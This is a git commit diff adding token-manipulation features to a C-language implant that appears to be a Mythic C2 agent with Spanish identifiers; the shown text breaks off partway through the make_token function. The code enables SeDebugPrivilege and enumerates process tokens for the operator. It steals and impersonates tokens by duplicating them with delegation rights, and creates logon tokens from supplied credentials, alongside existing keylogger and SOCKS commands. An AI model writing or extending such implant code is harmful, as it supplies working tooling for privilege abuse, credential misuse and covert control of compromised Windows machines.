Tokens activity implemented

This commit is contained in:
marcos.luna
2025-11-03 12:40:14 +01:00
parent eca961ac50
commit 8f8a54de5c
16 changed files with 1900 additions and 53 deletions
@@ -83,6 +83,26 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea); StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED ====="); _inf("===== KEYLOG_STOP_CMD COMPLETED =====");
} else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
} else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
} else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
} else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED =====");
} else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED =====");
} else { } else {
_wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea desconocida: 0x%02x", tarea);
// liberar analizador si no será usado por otro handler // liberar analizador si no será usado por otro handler
@@ -12,6 +12,7 @@
#include "SistemadeFicheros.h" #include "SistemadeFicheros.h"
#include "screenshot.h" #include "screenshot.h"
#include "keylog.h" #include "keylog.h"
#include "tokens.h"
#define SHELL_CMD 0x54 #define SHELL_CMD 0x54
#define GET_TASKING 0x00 #define GET_TASKING 0x00
@@ -41,6 +42,13 @@
#define START_SOCKS_CMD 0x60 #define START_SOCKS_CMD 0x60
#define STOP_SOCKS_CMD 0x61 #define STOP_SOCKS_CMD 0x61
/* Token commands */
#define LIST_TOKENS_CMD 0x32
#define STEAL_TOKEN_CMD 0x33
#define MAKE_TOKEN_CMD 0x34
#define REV2SELF_CMD 0x35
#define WHOAMI_CMD 0x36
/* Extension marker to carry SOCKS array in binary messages */ /* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5 #define SOCKS_BLOCK_MARKER 0xF5
@@ -514,7 +514,8 @@ BOOL addInt64(PPaquete paquete, UINT64 valor) {
if (!paquete->buffer) { if (!paquete->buffer) {
return FALSE; return FALSE;
} }
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); // Write at the end of the buffer (paquete->length offset)
addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT64); paquete->length += sizeof(UINT64);
return TRUE; return TRUE;
} }
@@ -786,3 +787,84 @@ VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystroke
addInt32(paquete, (UINT32)keys_len); addInt32(paquete, (UINT32)keys_len);
addString(paquete, keystrokes, FALSE); addString(paquete, keystrokes, FALSE);
} }
// Helper function to add token to response packages
// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
// All optional fields use length-prefixed strings, integers are big-endian
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
PCHAR app_container_sid, PCHAR privileges, UINT64 handle) {
if (!paquete) {
return;
}
// Token marker (0xF4)
addByte(paquete, 0xF4);
// Required: token_id
addInt32(paquete, token_id);
// Optional fields - use empty string if NULL
#define ADD_OPT_STRING(str) do { \
if (str) { \
SIZE_T len = strlen(str); \
addInt32(paquete, (UINT32)len); \
addString(paquete, str, FALSE); \
} else { \
addInt32(paquete, 0); \
} \
} while(0)
ADD_OPT_STRING(host);
ADD_OPT_STRING(description);
ADD_OPT_STRING(user);
ADD_OPT_STRING(groups);
addInt32(paquete, thread_id);
addInt32(paquete, process_id);
ADD_OPT_STRING(default_dacl);
addInt32(paquete, session_id);
addByte(paquete, restricted ? 1 : 0);
ADD_OPT_STRING(capabilities);
ADD_OPT_STRING(logon_sid);
addInt32(paquete, integrity_level_sid);
addInt32(paquete, app_container_number);
ADD_OPT_STRING(app_container_sid);
ADD_OPT_STRING(privileges);
// Handle as 8-byte integer (UINT64)
addInt64(paquete, handle);
}
// Helper function to add callback token (register/unregister token for use in tasking)
// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
// action must be "add" or "remove"
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) {
if (!paquete || !action) {
return;
}
// Callback token marker (0xF3)
addByte(paquete, 0xF3);
// Action length and value ("add" or "remove")
SIZE_T action_len = strlen(action);
addInt32(paquete, (UINT32)action_len);
addString(paquete, action, FALSE);
// Host (optional - use empty string if NULL)
if (host) {
SIZE_T host_len = strlen(host);
addInt32(paquete, (UINT32)host_len);
addString(paquete, host, FALSE);
} else {
addInt32(paquete, 0);
}
// Token ID
addInt32(paquete, token_id);
}
@@ -56,4 +56,20 @@ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32
/* action must be "add" or "remove", cmd is the command name */ /* action must be "add" or "remove", cmd is the command name */
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd); VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
/* Keylog helper: for reporting keystrokes to Mythic */
/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes);
/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */
/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
PCHAR app_container_sid, PCHAR privileges, UINT64 handle);
/* Callback token helper: for registering/unregistering tokens for use in tasking */
/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */
/* action must be "add" or "remove" */
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
#endif #endif
@@ -0,0 +1,889 @@
#undef UNICODE
#include <windows.h>
#include "tokens.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "debug.h"
#include <tlhelp32.h>
#include <psapi.h>
// Global token handle for impersonation (similar to Xenon's gIdentityToken)
static HANDLE gImpersonationToken = NULL;
// Forward declarations
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano);
/**
* @brief Enable SeDebugPrivilege to allow opening system processes
* This is required to list tokens from SYSTEM and other high-privilege processes
* Based on common Windows privilege escalation pattern
*/
BOOL EnableSeDebugPrivilege(VOID) {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tokenPriv = {0};
LUID luid = {0};
// Open the process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
_err("[EnableSeDebugPrivilege] No se pudo abrir token del proceso. Código: %lu", GetLastError());
return FALSE;
}
// Lookup the LUID for SeDebugPrivilege
if (!LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
_err("[EnableSeDebugPrivilege] No se pudo buscar SeDebugPrivilege. Código: %lu", GetLastError());
CloseHandle(hToken);
return FALSE;
}
// Set up the privilege structure
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Enable the privilege
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
_err("[EnableSeDebugPrivilege] No se pudo ajustar privilegios. Código: %lu", GetLastError());
CloseHandle(hToken);
return FALSE;
}
// Check if privilege was actually enabled
DWORD lastError = GetLastError();
if (lastError == ERROR_NOT_ALL_ASSIGNED) {
_wrn("[EnableSeDebugPrivilege] SeDebugPrivilege no está disponible en este token");
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
_inf("[EnableSeDebugPrivilege] SeDebugPrivilege habilitado exitosamente");
return TRUE;
}
/**
* @brief List all available tokens from running processes
* Reports tokens using addToken() helper for Mythic integration
*/
VOID ListarTokens(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
// Enable SeDebugPrivilege to access system processes
BOOL debugEnabled = EnableSeDebugPrivilege();
if (!debugEnabled) {
PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Advertencia: No se pudo habilitar SeDebugPrivilege. Solo se mostrarán tokens accesibles.\n");
}
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Error: No se pudo crear snapshot de procesos. Código: %lu\n", GetLastError());
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
return;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
UINT32 token_counter = 1; // Start from 1 (agent-generated token_id)
DWORD current_pid = GetCurrentProcessId();
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len);
if (Process32First(toolhelp, &pe)) {
do {
// Skip current process to avoid issues
if (pe.th32ProcessID == current_pid) {
continue;
}
// Try with full access first (requires SeDebugPrivilege for system processes)
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProcess) {
// Try with limited information if full access fails
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProcess) {
continue; // Skip if we can't open the process
}
}
HANDLE hToken = NULL;
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
char user_info[512] = {0};
char account_name[256] = {0};
char domain_name[256] = {0};
BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
if (got_user) {
// Parse user_info as "DOMAIN\USER"
char* backslash = strchr(user_info, '\\');
if (backslash) {
SIZE_T domain_len = backslash - user_info;
memcpy(domain_name, user_info, domain_len);
strcpy(account_name, backslash + 1);
} else {
strcpy(account_name, user_info);
}
}
DWORD session_id = 0;
ProcessIdToSessionId(pe.th32ProcessID, &session_id);
DWORD thread_id = 0; // We don't have thread info, use 0
// Get token handle value (cast to UINT64)
UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
// Build output text first (include process name from pe.szExeFile)
PackageAddFormatPrintf(salida, FALSE,
"Token ID: %lu | PID: %lu | Process: %s | User: %s | Session: %lu\n",
token_counter, pe.th32ProcessID, pe.szExeFile, user_info, session_id);
// Store token info for later (we'll add tokens after output)
// For now, we'll add tokens after the output text
token_counter++;
CloseHandle(hToken);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
// Add output text FIRST (before markers)
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Now add tokens AFTER output text
// Re-iterate to add tokens (we need to do this again because we need the tokens after output)
CloseHandle(toolhelp);
token_counter = 1;
toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
return;
}
if (Process32First(toolhelp, &pe)) {
do {
if (pe.th32ProcessID == current_pid) {
continue;
}
// Try with full access first (requires SeDebugPrivilege for system processes)
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProcess) {
// Try with limited information if full access fails
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
if (!hProcess) {
continue; // Skip if we can't open the process
}
}
HANDLE hToken = NULL;
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
char user_info[512] = {0};
char account_name[256] = {0};
char domain_name[256] = {0};
BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
if (got_user) {
char* backslash = strchr(user_info, '\\');
if (backslash) {
SIZE_T domain_len = backslash - user_info;
memcpy(domain_name, user_info, domain_len);
strcpy(account_name, backslash + 1);
} else {
strcpy(account_name, user_info);
}
}
DWORD session_id = 0;
ProcessIdToSessionId(pe.th32ProcessID, &session_id);
DWORD thread_id = 0;
UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
// Add token to response (AFTER output text)
addToken(respuesta, token_counter, hostname, "", account_name, domain_name,
thread_id, pe.th32ProcessID, "", session_id, FALSE,
"", "", 0, 0, "", "", token_handle);
token_counter++;
CloseHandle(hToken);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
CloseHandle(toolhelp);
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
}
/**
* @brief Steal token from a process and impersonate it
* Based on Xenon's TokenSteal implementation
* Reference: https://github.com/kyxiaxiang/Beacon_Source/blob/main/Beacon/identity.c#L65
*/
VOID RobarToken(PAnalizador argumentos) {
// For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
// Enable SeDebugPrivilege to access system processes
BOOL debugEnabled = EnableSeDebugPrivilege();
if (!debugEnabled) {
_wrn("[steal_token] No se pudo habilitar SeDebugPrivilege. Puede fallar con procesos del sistema.");
}
if (nbArg < 1) {
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: Se requiere PID\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// PID comes as a string parameter (input_type=string means all params are strings)
SIZE_T pid_len = 0;
PCHAR pid_str = getString(argumentos, &pid_len);
// Convert PID string to integer
UINT32 pid = 0;
if (pid_str && pid_len > 0) {
// Null-terminate the PID string for atoi
char pid_buffer[32] = {0};
SIZE_T copy_len = (pid_len < sizeof(pid_buffer) - 1) ? pid_len : sizeof(pid_buffer) - 1;
memcpy(pid_buffer, pid_str, copy_len);
pid_buffer[copy_len] = '\0';
pid = (UINT32)atoi(pid_buffer);
_inf("[steal_token] PID string recibido: '%.*s', convertido a: %lu", (int)pid_len, pid_str, pid);
if (pid_str) {
LocalFree(pid_str);
}
} else {
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo leer PID del buffer\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
_inf("[steal_token] Intentando robar token del PID: %lu", pid);
// Validate PID (Windows PIDs typically start from 4, with 4 being System)
if (pid == 0 || pid == 2) {
// PID 0 and 2 are reserved/invalid
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: PID %lu no es válido (PIDs 0 y 2 están reservados)\n", pid);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Open process - Xenon uses PROCESS_QUERY_INFORMATION
// Try with PROCESS_QUERY_INFORMATION first (requires SeDebugPrivilege for system processes)
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hProcess) {
DWORD firstError = GetLastError();
_wrn("[steal_token] OpenProcess con PROCESS_QUERY_INFORMATION falló. Código: %lu. Intentando con PROCESS_QUERY_LIMITED_INFORMATION", firstError);
// Try with limited information
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
DWORD finalError = GetLastError();
_err("[steal_token] No se pudo abrir proceso %lu. Primer intento (PROCESS_QUERY_INFORMATION): %lu, segundo intento (PROCESS_QUERY_LIMITED_INFORMATION): %lu", pid, firstError, finalError);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir proceso %lu. Código: %lu (Intentos: PROCESS_QUERY_INFORMATION=%lu, PROCESS_QUERY_LIMITED_INFORMATION=%lu)\n", pid, finalError, firstError, finalError);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
} else {
_inf("[steal_token] Proceso abierto con PROCESS_QUERY_LIMITED_INFORMATION");
}
} else {
_inf("[steal_token] Proceso abierto con PROCESS_QUERY_INFORMATION");
}
// Open token - Xenon uses TOKEN_ALL_ACCESS (requires SeDebugPrivilege for system processes)
HANDLE hToken = NULL;
DWORD desiredAccess = debugEnabled ? TOKEN_ALL_ACCESS : (TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE);
_inf("[steal_token] Intentando abrir token con acceso: 0x%08lX (debugEnabled=%d)", desiredAccess, debugEnabled);
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
DWORD firstError = GetLastError();
_wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, firstError);
// If TOKEN_ALL_ACCESS failed, try with granular permissions
if (desiredAccess == TOKEN_ALL_ACCESS) {
desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE;
_inf("[steal_token] Intentando con acceso granular: 0x%08lX", desiredAccess);
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
DWORD secondError = GetLastError();
_wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, secondError);
desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY;
_inf("[steal_token] Intentando con acceso mínimo: 0x%08lX", desiredAccess);
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
DWORD finalError = GetLastError();
CloseHandle(hProcess);
_err("[steal_token] Todos los intentos de OpenProcessToken fallaron. Primer error: %lu, segundo: %lu, final: %lu", firstError, secondError, finalError);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu (Intentos: TOKEN_ALL_ACCESS=%lu, TOKEN_DUPLICATE|QUERY|IMPERSONATE=%lu, TOKEN_DUPLICATE|QUERY=%lu)\n", finalError, firstError, secondError, finalError);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
}
} else {
CloseHandle(hProcess);
_err("[steal_token] OpenProcessToken falló. Código: %lu", firstError);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu\n", firstError);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
}
_inf("[steal_token] Token abierto exitosamente con acceso: 0x%08lX", desiredAccess);
// Revert any existing impersonation FIRST (like Xenon's IdentityAgentRevertToken)
if (gImpersonationToken) {
RevertToSelf();
CloseHandle(gImpersonationToken);
gImpersonationToken = NULL;
_inf("[steal_token] Revertido a token original antes de robar nuevo.");
}
// Step 1: Impersonate the process token directly first (Xenon approach)
if (!ImpersonateLoggedOnUser(hToken)) {
DWORD error = GetLastError();
CloseHandle(hToken);
CloseHandle(hProcess);
_err("[steal_token] No se pudo impersonar token del proceso. Código: %lu", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token del proceso. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Step 2: Duplicate the ORIGINAL token (not the impersonated one) as TokenPrimary
// Xenon uses MAXIMUM_ALLOWED, SecurityDelegation, and TokenPrimary
HANDLE hDupToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gImpersonationToken)) {
DWORD error = GetLastError();
RevertToSelf(); // Revert the temporary impersonation
CloseHandle(hToken);
CloseHandle(hProcess);
_err("[steal_token] No se pudo duplicar token. Código: %lu", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo duplicar token. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Step 3: Impersonate the duplicated token (Xenon approach)
if (!ImpersonateLoggedOnUser(gImpersonationToken)) {
DWORD error = GetLastError();
RevertToSelf(); // Revert the temporary impersonation
CloseHandle(gImpersonationToken);
gImpersonationToken = NULL;
CloseHandle(hToken);
CloseHandle(hProcess);
_err("[steal_token] No se pudo impersonar token duplicado. Código: %lu", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token duplicado. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Close handles (Xenon closes hProcess first, then hToken)
CloseHandle(hProcess);
if (hToken) {
CloseHandle(hToken);
}
// Get account name from the duplicated token
char account_name[512] = {0};
if (!IdentityGetUserInfo(gImpersonationToken, account_name, sizeof(account_name))) {
strcpy(account_name, "Unknown");
}
// Generate token_id (use PID for simplicity)
UINT32 token_id = pid;
// Register token with callback for use in tasking
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD hostname_len = sizeof(hostname);
GetComputerNameA(hostname, &hostname_len);
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaFinal, tareaUuid, FALSE);
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaFinal, FALSE, "[steal_token] Token robado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
// Add artifact for token impersonation
char artifact_msg[512] = {0};
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
// Add callback token registration
addCallbackToken(respuestaFinal, "add", hostname, token_id);
mandarPaquete(respuestaFinal);
liberarPaquete(salidaFinal);
liberarPaquete(respuestaFinal);
}
/**
* @brief Create token using credentials and impersonate it
* Based on Xenon's TokenMake implementation
*/
VOID CrearToken(PAnalizador argumentos) {
// For input_type=string commands, format is: [UUID:36 bytes fixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
// UUID is 36 bytes fixed (no length prefix), same as steal_token
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
// Ensure UUID is null-terminated for addString (same as screenshot)
CHAR uuidBuffer[37] = {0};
if (tareaUuid && tamanoUuid == 36) {
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
if (tareaUuid != uuidBuffer) {
LocalFree(tareaUuid); // Free original UUID string
}
tareaUuid = uuidBuffer;
_inf("[make_token] UUID recibido: %s (length: %zu)", tareaUuid, tamanoUuid);
} else {
_err("[make_token] UUID inválido (len=%zu)", tamanoUuid);
if (tareaUuid) {
LocalFree(tareaUuid);
}
// Use placeholder if UUID is invalid
memcpy(uuidBuffer, "00000000-0000-0000-0000-000000000000", 36);
tareaUuid = uuidBuffer;
}
if (nbArg < 3) {
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: Se requieren dominio, usuario y contraseña\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
SIZE_T domain_len = 0;
SIZE_T user_len = 0;
SIZE_T pass_len = 0;
PCHAR domain = getString(argumentos, &domain_len);
PCHAR user = getString(argumentos, &user_len);
PCHAR password = getString(argumentos, &pass_len);
// Validate that all required strings were read
if (!domain || !user || !password) {
_err("[make_token] Error leyendo parámetros: domain=%p, user=%p, password=%p", domain, user, password);
if (domain) LocalFree(domain);
if (user) LocalFree(user);
if (password) LocalFree(password);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudieron leer los parámetros\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// logon_type comes as a string parameter (input_type=string means all params are strings)
UINT32 logon_type = 9; // Default: LOGON32_LOGON_NEW_CREDENTIALS
if (nbArg >= 4) {
SIZE_T logon_type_len = 0;
PCHAR logon_type_str = getString(argumentos, &logon_type_len);
if (logon_type_str && logon_type_len > 0) {
// Null-terminate the logon_type string for atoi
char logon_type_buffer[32] = {0};
SIZE_T copy_len = (logon_type_len < sizeof(logon_type_buffer) - 1) ? logon_type_len : sizeof(logon_type_buffer) - 1;
memcpy(logon_type_buffer, logon_type_str, copy_len);
logon_type_buffer[copy_len] = '\0';
logon_type = (UINT32)atoi(logon_type_buffer);
_inf("[make_token] logon_type string recibido: '%.*s', convertido a: %lu", (int)logon_type_len, logon_type_str, logon_type);
if (logon_type_str) {
LocalFree(logon_type_str);
}
} else {
_wrn("[make_token] No se pudo leer logon_type, usando default: 9");
}
}
// Convert empty domain, ".", or "\" to local computer name for local users
// LogonUserA requires the hostname (computer name) for local users, not NULL
PCHAR domain_for_logon = domain;
BOOL is_local_user = FALSE;
CHAR computer_name[MAX_COMPUTERNAME_LENGTH + 1] = {0};
DWORD computer_name_len = sizeof(computer_name);
// Check if this is a local user:
// - domain is NULL
// - domain is empty string (length 0 or strlen == 0)
// - domain is "." or "\" or "\\" (single or double backslash)
BOOL is_empty_or_local = FALSE;
if (!domain) {
is_empty_or_local = TRUE;
_inf("[make_token] Dominio es NULL, usuario local detectado");
} else {
